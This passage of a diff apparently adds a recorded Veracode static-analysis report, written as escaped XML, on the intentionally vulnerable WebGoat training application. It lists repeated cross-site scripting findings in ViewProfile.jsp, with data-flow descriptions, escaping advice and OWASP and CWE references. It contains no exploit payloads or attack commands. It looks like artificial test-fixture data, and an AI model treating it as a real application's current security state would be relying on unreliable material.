+        line=\"18\" sourcefilepath=\"/lessons/CrossSiteScripting/\" scope=\"com.veracode.compiledjsp.xWebGoat50withjspwar.lessons.CrossSiteScripting.ViewProfile_jsp\"
+        functionprototype=\"void _jspService(javax.servlet.http.HttpServletRequest,
+        javax.servlet.http.HttpServletResponse)\" functionrelativelocation=\"16\">\n<exploitability_adjustments>\n<exploitability_adjustment
+        score_adjustment=\"1\">\n<note>This source of the tainted data is an external
+        web request.</note>\n</exploitability_adjustment>\n</exploitability_adjustments>\n</flaw>\n<flaw
+        severity=\"0\" categoryname=\"Improper Neutralization of Script-Related HTML
+        Tags in a Web Page (Basic XSS)\" count=\"1\" issueid=\"143\" module=\"WebGoat-5.0-with-jsp.war\"
+        type=\"javax.servlet.jsp.JspWriter.print\" description=\"This call to javax.servlet.jsp.JspWriter.print()
+        contains a cross-site scripting (XSS) flaw. The application populates the
+        HTTP response with user-supplied input, allowing an attacker to embed malicious
+        content, such as Javascript code, which will be executed in the context of
+        the victim's browser. XSS vulnerabilities are commonly exploited to steal
+        or manipulate cookies, modify presentation of content, and compromise confidential
+        information, with new attack vectors being discovered on a regular basis.
+        The first argument to print() contains tainted data from the variable employee.getLastName().
+        The tainted data originated from earlier calls to java.sql.statement.executequery,
+        javax.servlet.servletrequest.getparameter, java.sql.preparedstatement.executequery,
+        and javax.servlet.servletrequest.getparametervalues. The tainted data is directed
+        into an output stream returned by javax.servlet.jsp.JspWriter.\r\n\r\nUse
+        contextual escaping on all untrusted data before using it to construct any
+        portion of an HTTP response. The escaping method should be chosen based on
+        the specific use case of the untrusted data, otherwise it may not protect
+        fully against the attack. For example, if the data is being written to the
+        body of an HTML page, use HTML entity encoding (e.g. StringEscapeUtils.escapeHtml()
+        in J2EE or HttpUtility.HtmlEncode() in ASP.NET). For more details on contextual
+        escaping, see https://www.owasp.org/index.php/XSS_%28Cross_Site_Scripting%29_Prevention_Cheat_Sheet.
+        In addition, as a best practice, always validate user-supplied input to ensure
+        that it conforms to the expected format, using centralized data validation
+        routines when possible.\r\n\r\nReferences: \r\nCWE (http://cwe.mitre.org/data/definitions/79.html)
+        \r\nOWASP (http://www.owasp.org/index.php/XSS) \r\nWASC (http://webappsec.pbworks.com/Cross-Site-Scripting)\r\n\r\n\"
+        note=\"\" cweid=\"80\" remediationeffort=\"3\" exploitLevel=\"2\" categoryid=\"20\"
+        pcirelated=\"true\" date_first_occurrence=\"2012-02-29 16:13:33 UTC\" remediation_status=\"New\"
+        cia_impact=\"ppn\" grace_period_expires=\"2012-03-01 14:26:18 UTC\" affects_policy_compliance=\"true\"
+        mitigation_status=\"none\" mitigation_status_desc=\"Not Mitigated\" sourcefile=\"ViewProfile.jsp\"
+        line=\"22\" sourcefilepath=\"/lessons/SQLInjection/\" scope=\"com.veracode.compiledjsp.xWebGoat50withjspwar.lessons.SQLInjection.ViewProfile_jsp\"
+        functionprototype=\"void _jspService(javax.servlet.http.HttpServletRequest,
+        javax.servlet.http.HttpServletResponse)\" functionrelativelocation=\"21\">\n<exploitability_adjustments>\n<exploitability_adjustment
+        score_adjustment=\"1\">\n<note>This source of the tainted data is an external
+        web request.</note>\n</exploitability_adjustment>\n</exploitability_adjustments>\n</flaw>\n<flaw
+        severity=\"0\" categoryname=\"Improper Neutralization of Script-Related HTML
+        Tags in a Web Page (Basic XSS)\" count=\"1\" issueid=\"234\" module=\"WebGoat-5.0-with-jsp.war\"
+        type=\"javax.servlet.jsp.JspWriter.print\" description=\"This call to javax.servlet.jsp.JspWriter.print()
+        contains a cross-site scripting (XSS) flaw. The application populates the
+        HTTP response with user-supplied input, allowing an attacker to embed malicious
+        content, such as Javascript code, which will be executed in the context of
+        the victim's browser. XSS vulnerabilities are commonly exploited to steal
+        or manipulate cookies, modify presentation of content, and compromise confidential
+        information, with new attack vectors being discovered on a regular basis.
+        The first argument to print() contains tainted data from the variable employee.getLastName().
+        The tainted data originated from earlier calls to java.sql.statement.executequery,
+        javax.servlet.servletrequest.getparameter, java.sql.preparedstatement.executequery,
+        and javax.servlet.servletrequest.getparametervalues. The tainted data is directed
+        into an output stream returned by javax.servlet.jsp.JspWriter.\r\n\r\nUse
+        contextual escaping on all untrusted data before using it to construct any
+        portion of an HTTP response. The escaping method should be chosen based on
+        the specific use case of the untrusted data, otherwise it may not protect
+        fully against the attack. For example, if the data is being written to the
+        body of an HTML page, use HTML entity encoding (e.g. StringEscapeUtils.escapeHtml()
+        in J2EE or HttpUtility.HtmlEncode() in ASP.NET). For more details on contextual
+        escaping, see https://www.owasp.org/index.php/XSS_%28Cross_Site_Scripting%29_Prevention_Cheat_Sheet.
+        In addition, as a best practice, always validate user-supplied input to ensure
+        that it conforms to the expected format, using centralized data validation
+        routines when possible.\r\n\r\nReferences: \r\nCWE (http://cwe.mitre.org/data/definitions/79.html)
+        \r\nOWASP (http://www.owasp.org/index.php/XSS) \r\nWASC (http://webappsec.pbworks.com/Cross-Site-Scripting)\r\n\r\n\"
+        note=\"\" cweid=\"80\" remediationeffort=\"3\" exploitLevel=\"2\" categoryid=\"20\"
+        pcirelated=\"true\" date_first_occurrence=\"2012-02-29 16:13:33 UTC\" remediation_status=\"New\"
+        cia_impact=\"ppn\" grace_period_expires=\"2012-03-01 14:26:18 UTC\" affects_policy_compliance=\"true\"
+        mitigation_status=\"none\" mitigation_status_desc=\"Not Mitigated\" sourcefile=\"ViewProfile.jsp\"
+        line=\"22\" sourcefilepath=\"/lessons/RoleBasedAccessControl/\" scope=\"com.veracode.compiledjsp.xWebGoat50withjspwar.lessons.RoleBasedAccessControl.ViewProfile_jsp\"
+        functionprototype=\"void _jspService(javax.servlet.http.HttpServletRequest,
+        javax.servlet.http.HttpServletResponse)\" functionrelativelocation=\"21\">\n<exploitability_adjustments>\n<exploitability_adjustment
+        score_adjustment=\"1\">\n<note>This source of the tainted data is an external
+        web request.</note>\n</exploitability_adjustment>\n</exploitability_adjustments>\n</flaw>\n<flaw
+        severity=\"0\" categoryname=\"Improper Neutralization of Script-Related HTML
+        Tags in a Web Page (Basic XSS)\" count=\"1\" issueid=\"96\" module=\"WebGoat-5.0-with-jsp.war\"
+        type=\"javax.servlet.jsp.JspWriter.print\" description=\"This call to javax.servlet.jsp.JspWriter.print()
+        contains a cross-site scripting (XSS) flaw. The application populates the
+        HTTP response with user-supplied input, allowing an attacker to embed malicious
+        content, such as Javascript code, which will be executed in the context of
+        the victim's browser. XSS vulnerabilities are commonly exploited to steal
+        or manipulate cookies, modify presentation of content, and compromise confidential
+        information, with new attack vectors being discovered on a regular basis.
+        The first argument to print() contains tainted data from the variable employee.getAddress1().
+        The tainted data originated from earlier calls to javax.servlet.servletrequest.getparameter,
+        java.sql.statement.executequery, javax.servlet.servletrequest.getparametervalues,
+        and java.sql.preparedstatement.executequery. The tainted data is directed
+        into an output stream returned by javax.servlet.jsp.JspWriter.\r\n\r\nUse
+        contextual escaping on all untrusted data before using it to construct any
+        portion of an HTTP response. The escaping method should be chosen based on
+        the specific use case of the untrusted data, otherwise it may not protect
+        fully against the attack. For example, if the data is being written to the
+        body of an HTML page, use HTML entity encoding (e.g. StringEscapeUtils.escapeHtml()
+        in J2EE or HttpUtility.HtmlEncode() in ASP.NET). For more details on contextual
+        escaping, see https://www.owasp.org/index.php/XSS_%28Cross_Site_Scripting%29_Prevention_Cheat_Sheet.
+        In addition, as a best practice, always validate user-supplied input to ensure
+        that it conforms to the expected format, using centralized data validation
+        routines when possible.\r\n\r\nReferences: \r\nCWE (http://cwe.mitre.org/data/definitions/79.html)
+        \r\nOWASP (http://www.owasp.org/index.php/XSS) \r\nWASC (http://webappsec.pbworks.com/Cross-Site-Scripting)\r\n\r\n\"
+        note=\"\" cweid=\"80\" remediationeffort=\"3\" exploitLevel=\"2\" categoryid=\"20\"
+        pcirelated=\"true\" date_first_occurrence=\"2012-02-29 16:13:33 UTC\" remediation_status=\"New\"
+        cia_impact=\"ppn\" grace_period_expires=\"2012-03-01 14:26:18 UTC\" affects_policy_compliance=\"true\"
+        mitigation_status=\"none\" mitigation_status_desc=\"Not Mitigated\" sourcefile=\"ViewProfile.jsp\"
+        line=\"33\" sourcefilepath=\"/lessons/CrossSiteScripting/\" scope=\"com.veracode.compiledjsp.xWebGoat50withjspwar.lessons.CrossSiteScripting.ViewProfile_jsp\"
+        functionprototype=\"void _jspService(javax.servlet.http.HttpServletRequest,
+        javax.servlet.http.HttpServletResponse)\" functionrelativelocation=\"20\">\n<exploitability_adjustments>\n<exploitability_adjustment
+        score_adjustment=\"1\">\n<note>This source of the tainted data is an external
+        web request.</note>\n</exploitability_adjustment>\n</exploitability_adjustments>\n</flaw>\n<flaw
+        severity=\"0\" categoryname=\"Improper Neutralization of Script-Related HTML
+        Tags in a Web Page (Basic XSS)\" count=\"1\" issueid=\"212\" module=\"WebGoat-5.0-with-jsp.war\"
+        type=\"javax.servlet.jsp.JspWriter.print\" description=\"This call to javax.servlet.jsp.JspWriter.print()
+        contains a cross-site scripting (XSS) flaw. The application populates the
+        HTTP response with user-supplied input, allowing an attacker to embed malicious
+        content, such as Javascript code, which will be executed in the context of
+        the victim's browser. XSS vulnerabilities are commonly exploited to steal
+        or manipulate cookies, modify presentation of content, and compromise confidential
+        information, with new attack vectors being discovered on a regular basis.
+        The first argument to print() contains tainted data from the variable employee.getAddress2().
+        The tainted data originated from earlier calls to javax.servlet.servletrequest.getparameter,
+        javax.servlet.servletrequest.getparametervalues, java.sql.statement.executequery,
+        and java.sql.preparedstatement.executequery. The tainted data is directed
+        into an output stream returned by javax.servlet.jsp.JspWriter.\r\n\r\nUse
+        contextual escaping on all untrusted data before using it to construct any
+        portion of an HTTP response. The escaping method should be chosen based on
+        the specific use case of the untrusted data, otherwise it may not protect
+        fully against the attack. For example, if the data is being written to the
+        body of an HTML page, use HTML entity encoding (e.g. StringEscapeUtils.escapeHtml()
+        in J2EE or HttpUtility.HtmlEncode() in ASP.NET). For more details on contextual
+        escaping, see https://www.owasp.org/index.php/XSS_%28Cross_Site_Scripting%29_Prevention_Cheat_Sheet.
+        In addition, as a best practice, always validate user-supplied input to ensure
+        that it conforms to the expected format, using centralized data validation
+        routines when possible.\r\n\r\nReferences: \r\nCWE (http://cwe.mitre.org/data/definitions/79.html)
+        \r\nOWASP (http://www.owasp.org/index.php/XSS) \r\nWASC (http://webappsec.pbworks.com/Cross-Site-Scripting)\r\n\r\n\"
+        note=\"\" cweid=\"80\" remediationeffort=\"3\" exploitLevel=\"2\" categoryid=\"20\"
+        pcirelated=\"true\" date_first_occurrence=\"2012-02-29 16:13:33 UTC\" remediation_status=\"New\"
+        cia_impact=\"ppn\" grace_period_expires=\"2012-03-01 14:26:18 UTC\" affects_policy_compliance=\"true\"
+        mitigation_status=\"none\" mitigation_status_desc=\"Not Mitigated\" sourcefile=\"ViewProfile.jsp\"
+        line=\"34\" sourcefilepath=\"/lessons/RoleBasedAccessControl/\" scope=\"com.veracode.compiledjsp.xWebGoat50withjspwar.lessons.RoleBasedAccessControl.ViewProfile_jsp\"
+        functionprototype=\"void _jspService(javax.servlet.http.HttpServletRequest,
+        javax.servlet.http.HttpServletResponse)\" functionrelativelocation=\"25\">\n<exploitability_adjustments>\n<exploitability_adjustment
+        score_adjustment=\"1\">\n<note>This source of the tainted data is an external
+        web request.</note>\n</exploitability_adjustment>\n</exploitability_adjustments>\n</flaw>\n<flaw
+        severity=\"0\" categoryname=\"Improper Neutralization of Script-Related HTML
+        Tags in a Web Page (Basic XSS)\" count=\"1\" issueid=\"198\" module=\"WebGoat-5.0-with-jsp.war\"
+        type=\"javax.servlet.jsp.JspWriter.print\" description=\"This call to javax.servlet.jsp.JspWriter.print()
+        contains a cross-site scripting (XSS) flaw. The application populates the
+        HTTP response with user-supplied input, allowing an attacker to embed malicious
+        content, such as Javascript code, which will be executed in the context of
+        the victim's browser. XSS vulnerabilities are commonly exploited to steal
+        or manipulate cookies, modify presentation of content, and compromise confidential
+        information, with new attack vectors being discovered on a regular basis.
+        The first argument to print() contains tainted data from the variable employee.getAddress2().
+        The tainted data originated from earlier calls to javax.servlet.servletrequest.getparameter,
+        javax.servlet.servletrequest.getparametervalues, java.sql.statement.executequery,
+        and java.sql.preparedstatement.executequery. The tainted data is directed
+        into an output stream returned by javax.servlet.jsp.JspWriter.\r\n\r\nUse
+        contextual escaping on all untrusted data before using it to construct any
+        portion of an HTTP response. The escaping method should be chosen based on
+        the specific use case of the untrusted data, otherwise it may not protect
+        fully against the attack. For example, if the data is being written to the
+        body of an HTML page, use HTML entity encoding (e.g. StringEscapeUtils.escapeHtml()
+        in J2EE or HttpUtility.HtmlEncode() in ASP.NET). For more details on contextual
+        escaping, see https://www.owasp.org/index.php/XSS_%28Cross_Site_Scripting%29_Prevention_Cheat_Sheet.
+        In addition, as a best practice, always validate user-supplied input to ensure
+        that it conforms to the expected format, using centralized data validation
+        routines when possible.\r\n\r\nReferences: \r\nCWE (http://cwe.mitre.org/data/definitions/79.html)
+        \r\nOWASP (http://www.owasp.org/index.php/XSS) \r\nWASC (http://webappsec.pbworks.com/Cross-Site-Scripting)\r\n\r\n\"
+        note=\"\" cweid=\"80\" remediationeffort=\"3\" exploitLevel=\"2\" categoryid=\"20\"
+        pcirelated=\"true\" date_first_occurrence=\"2012-02-29 16:13:33 UTC\" remediation_status=\"New\"
+        cia_impact=\"ppn\" grace_period_expires=\"2012-03-01 14:26:18 UTC\" affects_policy_compliance=\"true\"
+        mitigation_status=\"none\" mitigation_status_desc=\"Not Mitigated\" sourcefile=\"ViewProfile.jsp\"
+        line=\"34\" sourcefilepath=\"/lessons/SQLInjection/\" scope=\"com.veracode.compiledjsp.xWebGoat50withjspwar.lessons.SQLInjection.ViewProfile_jsp\"
+        functionprototype=\"void _jspService(javax.servlet.http.HttpServletRequest,
+        javax.servlet.http.HttpServletResponse)\" functionrelativelocation=\"25\">\n<exploitability_adjustments>\n<exploitability_adjustment
+        score_adjustment=\"1\">\n<note>This source of the tainted data is an external
+        web request.</note>\n</exploitability_adjustment>\n</exploitability_adjustments>\n</flaw>\n<flaw
+        severity=\"0\" categoryname=\"Improper Neutralization of Script-Related HTML
+        Tags in a Web Page (Basic XSS)\" count=\"1\" issueid=\"153\" module=\"WebGoat-5.0-with-jsp.war\"
+        type=\"javax.servlet.jsp.JspWriter.print\" description=\"This call to javax.servlet.jsp.JspWriter.print()
+        contains a cross-site scripting (XSS) flaw. The application populates the
+        HTTP response with user-supplied input, allowing an attacker to embed malicious
+        content, such as Javascript code, which will be executed in the context of
+        the victim's browser. XSS vulnerabilities are commonly exploited to steal
+        or manipulate cookies, modify presentation of content, and compromise confidential
+        information, with new attack vectors being discovered on a regular basis.
+        The first argument to print() contains tainted data from the variable employee.getAddress2().
+        The tainted data originated from earlier calls to javax.servlet.servletrequest.getparameter,
+        javax.servlet.servletrequest.getparametervalues, java.sql.statement.executequery,
+        and java.sql.preparedstatement.executequery. The tainted data is directed
+        into an output stream returned by javax.servlet.jsp.JspWriter.\r\n\r\nUse
+        contextual escaping on all untrusted data before using it to construct any
+        portion of an HTTP response. The escaping method should be chosen based on
+        the specific use case of the untrusted data, otherwise it may not protect
+        fully against the attack. For example, if the data is being written to the
+        body of an HTML page, use HTML entity encoding (e.g. StringEscapeUtils.escapeHtml()
+        in J2EE or HttpUtility.HtmlEncode() in ASP.NET). For more details on contextual
+        escaping, see https://www.owasp.org/index.php/XSS_%28Cross_Site_Scripting%29_Prevention_Cheat_Sheet.
+        In addition, as a best practice, always validate user-supplied input to ensure
+        that it conforms to the expected format, using centralized data validation
+        routines when possible.\r\n\r\nReferences: \r\nCWE (http://cwe.mitre.org/data/definitions/79.html)
+        \r\nOWASP (http://www.owasp.org/index.php/XSS) \r\nWASC (http://webappsec.pbworks.com/Cross-Site-Scripting)\r\n\r\n\"
+        note=\"\" cweid=\"80\" remediationeffort=\"3\" exploitLevel=\"2\" categoryid=\"20\"
+        pcirelated=\"true\" date_first_occurrence=\"2012-02-29 16:13:33 UTC\" remediation_status=\"New\"
+        cia_impact=\"ppn\" grace_period_expires=\"2012-03-01 14:26:18 UTC\" affects_policy_compliance=\"true\"
+        mitigation_status=\"none\" mitigation_status_desc=\"Not Mitigated\" sourcefile=\"ViewProfile.jsp\"
+        line=\"38\" sourcefilepath=\"/lessons/CrossSiteScripting/\" scope=\"com.veracode.compiledjsp.xWebGoat50withjspwar.lessons.CrossSiteScripting.ViewProfile_jsp\"
+        functionprototype=\"void _jspService(javax.servlet.http.HttpServletRequest,
+        javax.servlet.http.HttpServletResponse)\" functionrelativelocation=\"22\">\n<exploitability_adjustments>\n<exploitability_adjustment
+        score_adjustment=\"1\">\n<note>This source of the tainted data is an external
+        web request.</note>\n</exploitability_adjustment>\n</exploitability_adjustments>\n</flaw>\n<flaw
+        severity=\"0\" categoryname=\"Improper Neutralization of Script-Related HTML
+        Tags in a Web Page (Basic XSS)\" count=\"1\" issueid=\"54\" module=\"WebGoat-5.0-with-jsp.war\"
+        type=\"javax.servlet.jsp.JspWriter.print\" description=\"This call to javax.servlet.jsp.JspWriter.print()
+        contains a cross-site scripting (XSS) flaw. The application populates the
+        HTTP response with user-supplied input, allowing an attacker to embed malicious
+        content, such as Javascript code, which will be executed in the context of
+        the victim's browser. XSS vulnerabilities are commonly exploited to steal
+        or manipulate cookies, modify presentation of content, and compromise confidential
+        information, with new attack vectors being discovered on a regular basis.
+        The first argument to print() contains tainted data from the variable employee.getPhoneNumber().
+        The tainted data originated from earlier calls to javax.servlet.servletrequest.getparameter,
+        java.sql.statement.executequery, java.sql.preparedstatement.executequery,
+        and javax.servlet.servletrequest.getparametervalues. The tainted data is directed
+        into an output stream returned by javax.servlet.jsp.JspWriter.\r\n\r\nUse
+        contextual escaping on all untrusted data before using it to construct any
+        portion of an HTTP response. The escaping method should be chosen based on
+        the specific use case of the untrusted data, otherwise it may not protect
+        fully against the attack. For example, if the data is being written to the
+        body of an HTML page, use HTML entity encoding (e.g. StringEscapeUtils.escapeHtml()
+        in J2EE or HttpUtility.HtmlEncode() in ASP.NET). For more details on contextual
+        escaping, see https://www.owasp.org/index.php/XSS_%28Cross_Site_Scripting%29_Prevention_Cheat_Sheet.
+        In addition, as a best practice, always validate user-supplied input to ensure
+        that it conforms to the expected format, using centralized data validation
+        routines when possible.\r\n\r\nReferences: \r\nCWE (http://cwe.mitre.org/data/definitions/79.html)
+        \r\nOWASP (http://www.owasp.org/index.php/XSS) \r\nWASC (http://webappsec.pbworks.com/Cross-Site-Scripting)\r\n\r\n\"
+        note=\"\" cweid=\"80\" remediationeffort=\"3\" exploitLevel=\"2\" categoryid=\"20\"
+        pcirelated=\"true\" date_first_occurrence=\"2012-02-29 16:13:33 UTC\" remediation_status=\"New\"
+        cia_impact=\"ppn\" grace_period_expires=\"2012-03-01 14:26:18 UTC\" affects_policy_compliance=\"true\"
+        mitigation_status=\"none\" mitigation_status_desc=\"Not Mitigated\" sourcefile=\"ViewProfile.jsp\"
+        line=\"41\" sourcefilepath=\"/lessons/RoleBasedAccessControl/\" scope=\"com.veracode.compiledjsp.xWebGoat50withjspwar.lessons.RoleBasedAccessControl.ViewProfile_jsp\"
+        functionprototype=\"void _jspService(javax.servlet.http.HttpServletRequest,
+        javax.servlet.http.HttpServletResponse)\" functionrelativelocation=\"27\">\n<exploitability_adjustments>\n<exploitability_adjustment
+        score_adjustment=\"1\">\n<note>This source of the tainted data is an external
+        web request.</note>\n</exploitability_adjustment>\n</exploitability_adjustments>\n</flaw>\n<flaw
+        severity=\"0\" categoryname=\"Improper Neutralization of Script-Related HTML
+        Tags in a Web Page (Basic XSS)\" count=\"1\" issueid=\"211\" module=\"WebGoat-5.0-with-jsp.war\"
+        type=\"javax.servlet.jsp.JspWriter.print\" description=\"This call to javax.servlet.jsp.JspWriter.print()
+        contains a cross-site scripting (XSS) flaw. The application populates the
+        HTTP response with user-supplied input, allowing an attacker to embed malicious
+        content, such as Javascript code, which will be executed in the context of
+        the victim's browser. XSS vulnerabilities are commonly exploited to steal
+        or manipulate cookies, modify presentation of content, and compromise confidential
+        information, with new attack vectors being discovered on a regular basis.
+        The first argument to print() contains tainted data from the variable employee.getPhoneNumber().
+        The tainted data originated from earlier calls to javax.servlet.servletrequest.getparameter,
+        java.sql.statement.executequery, java.sql.preparedstatement.executequery,
+        and javax.servlet.servletrequest.getparametervalues. The tainted data is directed
+        into an output stream returned by javax.servlet.jsp.JspWriter.\r\n\r\nUse
+        contextual escaping on all untrusted data before using it to construct any
+        portion of an HTTP response. The escaping method should be chosen based on
+        the specific use case of the untrusted data, otherwise it may not protect
+        fully against the attack. For example, if the data is being written to the
+        body of an HTML page, use HTML entity encoding (e.g. StringEscapeUtils.escapeHtml()
+        in J2EE or HttpUtility.HtmlEncode() in ASP.NET). For more details on contextual
+        escaping, see https://www.owasp.org/index.php/XSS_%28Cross_Site_Scripting%29_Prevention_Cheat_Sheet.
+        In addition, as a best practice, always validate user-supplied input to ensure
+        that it conforms to the expected format, using centralized data validation
+        routines when possible.\r\n\r\nReferences: \r\nCWE (http://cwe.mitre.org/data/definitions/79.html)
+        \r\nOWASP (http://www.owasp.org/index.php/XSS) \r\nWASC (http://webappsec.pbworks.com/Cross-Site-Scripting)\r\n\r\n\"
+        note=\"\" cweid=\"80\" remediationeffort=\"3\" exploitLevel=\"2\" categoryid=\"20\"
+        pcirelated=\"true\" date_first_occurrence=\"2012-02-29 16:13:33 UTC\" remediation_status=\"New\"
+        cia_impact=\"ppn\" grace_period_expires=\"2012-03-01 14:26:18 UTC\" affects_policy_compliance=\"true\"
+        mitigation_status=\"none\" mitigation_status_desc=\"Not Mitigated\" sourcefile=\"ViewProfile.jsp\"
+        line=\"41\" sourcefilepath=\"/lessons/SQLInjection/\" scope=\"com.veracode.compiledjsp.xWebGoat50withjspwar.lessons.SQLInjection.ViewProfile_jsp\"
+        functionprototype=\"void _jspService(javax.servlet.http.HttpServletRequest,
+        javax.servlet.http.HttpServletResponse)\" functionrelativelocation=\"27\">\n<exploitability_adjustments>\n<exploitability_adjustment
+        score_adjustment=\"1\">\n<note>This source of the tainted data is an external
+        web request.</note>\n</exploitability_adjustment>\n</exploitability_adjustments>\n</flaw>\n<flaw
+        severity=\"0\" categoryname=\"Improper Neutralization of Script-Related HTML
+        Tags in a Web Page (Basic XSS)\" count=\"1\" issueid=\"81\" module=\"WebGoat-5.0-with-jsp.war\"
+        type=\"javax.servlet.jsp.JspWriter.print\" description=\"This call to javax.servlet.jsp.JspWriter.print()
+        contains a cross-site scripting (XSS) flaw. The application populates the
+        HTTP response with user-supplied input, allowing an attacker to embed malicious
+        content, such as Javascript code, which will be executed in the context of
+        the victim's browser. XSS vulnerabilities are commonly exploited to steal
+        or manipulate cookies, modify presentation of content, and compromise confidential
+        information, with new attack vectors being discovered on a regular basis.
+        The first argument to print() contains tainted data from the variable employee.getPhoneNumber().
+        The tainted data originated from earlier calls to javax.servlet.servletrequest.getparameter,
+        java.sql.statement.executequery, java.sql.preparedstatement.executequery,
+        and javax.servlet.servletrequest.getparametervalues. The tainted data is directed
+        into an output stream returned by javax.servlet.jsp.JspWriter.\r\n\r\nUse
+        contextual escaping on all untrusted data before using it to construct any
+        portion of an HTTP response. The escaping method should be chosen based on
+        the specific use case of the untrusted data, otherwise it may not protect
+        fully against the attack. For example, if the data is being written to the
+        body of an HTML page, use HTML entity encoding (e.g. StringEscapeUtils.escapeHtml()
+        in J2EE or HttpUtility.HtmlEncode() in ASP.NET). For more details on contextual
+        escaping, see https://www.owasp.org/index.php/XSS_%28Cross_Site_Scripting%29_Prevention_Cheat_Sheet.
+        In addition, as a best practice, always validate user-supplied input to ensure
+        that it conforms to the expected format, using centralized data validation
+        routines when possible.\r\n\r\nReferences: \r\nCWE (http://cwe.mitre.org/data/definitions/79.html)
+        \r\nOWASP (http://www.owasp.org/index.php/XSS) \r\nWASC (http://webappsec.pbworks.com/Cross-Site-Scripting)\r\n\r\n\"
+        note=\"\" cweid=\"80\" remediationeffort=\"3\" exploitLevel=\"2\" categoryid=\"20\"
+        pcirelated=\"true\" date_first_occurrence=\"2012-02-29 16:13:33 UTC\" remediation_status=\"New\"
+        cia_impact=\"ppn\" grace_period_expires=\"2012-03-01 14:26:18 UTC\" affects_policy_compliance=\"true\"
+        mitigation_status=\"none\" mitigation_status_desc=\"Not Mitigated\" sourcefile=\"ViewProfile.jsp\"
+        line=\"45\" sourcefilepath=\"/lessons/CrossSiteScripting/\" scope=\"com.veracode.compiledjsp.xWebGoat50withjspwar.lessons.CrossSiteScripting.ViewProfile_jsp\"
+        functionprototype=\"void _jspService(javax.servlet.http.HttpServletRequest,
+        javax.servlet.http.HttpServletResponse)\" functionrelativelocation=\"25\">\n<exploitability_adjustments>\n<exploitability_adjustment
+        score_adjustment=\"1\">\n<note>This source of the tainted data is an external
+        web request.</note>\n</exploitability_adjustment>\n</exploitability_adjustments>\n</flaw>\n<flaw
+        severity=\"0\" categoryname=\"Improper Neutralization of Script-Related HTML
+        Tags in a Web Page (Basic XSS)\" count=\"1\" issueid=\"99\" module=\"WebGoat-5.0-with-jsp.war\"
+        type=\"javax.servlet.jsp.JspWriter.print\" description=\"This call to javax.servlet.jsp.JspWriter.print()
+        contains a cross-site scripting (XSS) flaw. The application populates the
+        HTTP response with user-supplied input, allowing an attacker to embed malicious
+        content, such as Javascript code, which will be executed in the context of
+        the victim's browser. XSS vulnerabilities are commonly exploited to steal
+        or manipulate cookies, modify presentation of content, and compromise confidential
+        information, with new attack vectors being discovered on a regular basis.
+        The first argument to print() contains tainted data from the variable employee.getStartDate().
+        The tainted data originated from earlier calls to javax.servlet.servletrequest.getparameter,
+        javax.servlet.servletrequest.getparametervalues, java.sql.statement.executequery,
+        and java.sql.preparedstatement.executequery. The tainted data is directed
+        into an output stream returned by javax.servlet.jsp.JspWriter.\r\n\r\nUse
+        contextual escaping on all untrusted data before using it to construct any
+        portion of an HTTP response. The escaping method should be chosen based on
+        the specific use case of the untrusted data, otherwise it may not protect
+        fully against the attack. For example, if the data is being written to the
+        body of an HTML page, use HTML entity encoding (e.g. StringEscapeUtils.escapeHtml()
+        in J2EE or HttpUtility.HtmlEncode() in ASP.NET). For more details on contextual
+        escaping, see https://www.owasp.org/index.php/XSS_%28Cross_Site_Scripting%29_Prevention_Cheat_Sheet.
+        In addition, as a best practice, always validate user-supplied input to ensure
+        that it conforms to the expected format, using centralized data validation
+        routines when possible.\r\n\r\nReferences: \r\nCWE (http://cwe.mitre.org/data/definitions/79.html)
+        \r\nOWASP (http://www.owasp.org/index.php/XSS) \r\nWASC (http://webappsec.pbworks.com/Cross-Site-Scripting)\r\n\r\n\"
+        note=\"\" cweid=\"80\" remediationeffort=\"3\" exploitLevel=\"2\" categoryid=\"20\"
+        pcirelated=\"true\" date_first_occurrence=\"2012-02-29 16:13:33 UTC\" remediation_status=\"New\"
+        cia_impact=\"ppn\" grace_period_expires=\"2012-03-01 14:26:18 UTC\" affects_policy_compliance=\"true\"
+        mitigation_status=\"none\" mitigation_status_desc=\"Not Mitigated\" sourcefile=\"ViewProfile.jsp\"
+        line=\"51\" sourcefilepath=\"/lessons/CrossSiteScripting/\" scope=\"com.veracode.compiledjsp.xWebGoat50withjspwar.lessons.CrossSiteScripting.ViewProfile_jsp\"
+        functionprototype=\"void _jspService(javax.servlet.http.HttpServletRequest,
+        javax.servlet.http.HttpServletResponse)\" functionrelativelocation=\"27\">\n<exploitability_adjustments>\n<exploitability_adjustment
+        score_adjustment=\"1\">\n<note>This source of the tainted data is an external
+        web request.</note>\n</exploitability_adjustment>\n</exploitability_adjustments>\n</flaw>\n<flaw
+        severity=\"0\" categoryname=\"Improper Neutralization of Script-Related HTML
+        Tags in a Web Page (Basic XSS)\" count=\"1\" issueid=\"210\" module=\"WebGoat-5.0-with-jsp.war\"
+        type=\"javax.servlet.jsp.JspWriter.print\" description=\"This call to javax.servlet.jsp.JspWriter.print()
+        contains a cross-site scripting (XSS) flaw. The application populates the
+        HTTP response with user-supplied input, allowing an attacker to embed malicious
+        content, such as Javascript code, which will be executed in the context of
+        the victim's browser. XSS vulnerabilities are commonly exploited to steal
+        or manipulate cookies, modify presentation of content, and compromise confidential
+        information, with new attack vectors being discovered on a regular basis.
+        The first argument to print() contains tainted data from the variable webSession.getUserNameInLesson().
+        The tainted data originated from an earlier call to java.sql.statement.executequery.
+        The tainted data is directed into an output stream returned by javax.servlet.jsp.JspWriter.\r\n\r\nUse
+        contextual escaping on all untrusted data before using it to construct any
+        portion of an HTTP response. The escaping method should be chosen based on
+        the specific use case of the untrusted data, otherwise it may not protect
+        fully against the attack. For example, if the data is being written to the
+        body of an HTML page, use HTML entity encoding (e.g. StringEscapeUtils.escapeHtml()
+        in J2EE or HttpUtility.HtmlEncode() in ASP.NET). For more details on contextual
+        escaping, see https://www.owasp.org/index.php/XSS_%28Cross_Site_Scripting%29_Prevention_Cheat_Sheet.
+        In addition, as a best practice, always validate user-supplied input to ensure
+        that it conforms to the expected format, using centralized data validation
+        routines when possible.\r\n\r\nReferences: \r\nCWE (http://cwe.mitre.org/data/definitions/79.html)
+        \r\nOWASP (http://www.owasp.org/index.php/XSS) \r\nWASC (http://webappsec.pbworks.com/Cross-Site-Scripting)\r\n\r\n\"
+        note=\"\" cweid=\"80\" remediationeffort=\"3\" exploitLevel=\"0\" categoryid=\"20\"
+        pcirelated=\"true\" date_first_occurrence=\"2012-02-29 16:13:33 UTC\" remediation_status=\"New\"
+        cia_impact=\"ppn\" grace_period_expires=\"2012-03-01 14:26:18 UTC\" affects_policy_compliance=\"true\"
+        mitigation_status=\"none\" mitigation_status_desc=\"Not Mitigated\" sourcefile=\"ViewProfile_jsp.java\"
